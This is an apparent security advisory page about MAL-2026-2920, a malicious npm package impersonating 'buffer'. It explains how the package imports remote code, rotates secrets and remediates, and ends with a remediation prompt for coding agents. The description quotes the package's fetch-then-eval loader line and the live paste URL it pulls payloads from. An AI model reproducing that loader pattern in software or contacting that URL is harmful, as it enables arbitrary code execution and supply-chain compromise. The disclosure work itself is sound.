# MAL-2026-2920: Malicious code in buffer-util-extend (npm)


- **Type:** Malicious package
- **Package:** `buffer-util-extend` (npm)
- **Published:** 14 Apr 2026
- **Also known as:** GHSA-g44v-3gq3-j8p6

## What is MAL-2026-2920?

MAL-2026-2920 is a malicious package in buffer-util-extend, published on 14 Apr 2026. 

### Official description

On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's `content` field to `eval()` (index.js:46 stores the base64-encoded URL; index.js:59-65 performs `fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))`). Any consumer that `require`s this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used `buffer` package: it copies Feross Aboukhadijeh's authorship metadata, homepage `https://github.com/feross/buffer`, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (`axios`, `request`, `execp`) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-2920?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-2920 is a malicious package: buffer-util-extend (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-2920/ (Markdown: https://insights.sbomify.com/MAL-2026-2920/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-2920

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-2920/
Summaries are generated and may contain mistakes; the official description above is the record.